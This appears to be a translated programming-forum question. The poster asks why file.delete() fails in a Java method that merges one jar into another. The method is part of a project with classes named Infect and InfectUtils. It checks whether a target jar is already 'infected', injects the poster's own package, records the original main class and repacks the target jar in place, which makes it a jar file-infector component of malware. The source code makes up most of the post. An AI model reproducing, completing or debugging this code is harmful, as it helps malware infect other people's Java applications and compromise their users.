我正在尝试将一个 jar 文件复制到另一个 jarfile 中。所以为了把它们放在一起,我将它们解压缩到 Infect.BIND_TMP。之后我继续删除“第一个”,但问题来了:
我得到 file.delete() 返回的“false”;
我没有关闭所有流吗?我找不到错误... :c
主文件();只是从 MANIFEST.MF jarFile 返回 MainClass
public static boolean bindJarFiles(File first, File second) {
try {
File tmp_bind = new File(Infect.TMP_BIND);
if (tmp_bind.exists()) {
tmp_bind.delete();
tmp_bind.mkdirs();
} else {
tmp_bind.mkdirs();
}
tmp_bind = null;
ZipFile m = new ZipFile(first);
ZipFile g = new ZipFile(second);
if (InfectUtils.infected(second))
return false;
g.extractAll(Infect.TMP_BIND);
@SuppressWarnings("unchecked")
List<FileHeader> fileHeaders = m.getFileHeaders();
for (FileHeader fileHeader : fileHeaders) {
if (fileHeader.isDirectory() && fileHeader.getFileName().equals(superPackageNameFromFile())) {
g.extractFile(fileHeader, Infect.TMP_BIND);
}
if (fileHeader.isDirectory() && fileHeader.getFileName().equals("META-INF")) {
g.extractFile(fileHeader, Infect.TMP_BIND);
}
}
PrintWriter pw = new PrintWriter(new File(Infect.TMP_BIND_FILES_TXT));
pw.println(mainFile(second));
pw.println("_-$-_" + superPackageNameFromFile());
pw.flush();
pw.close();
// Reset all the open Streams etc
String p = second.getAbsolutePath();
g = null;
if (!second.delete()) {
System.err.println("Cannot delete File!");
}
g = new ZipFile(p);
ZipParameters params = new ZipParameters();
params.setIncludeRootFolder(false);
params.setCompressionMethod(Zip4jConstants.COMP_DEFLATE);
params.setCompressionLevel(Zip4jConstants.DEFLATE_LEVEL_NORMAL);
g.createZipFile(new File(Infect.TMP_BIND), params);
} catch (ZipException | FileNotFoundException e) {
e.printStackTrace();
return false;
}
return true;
}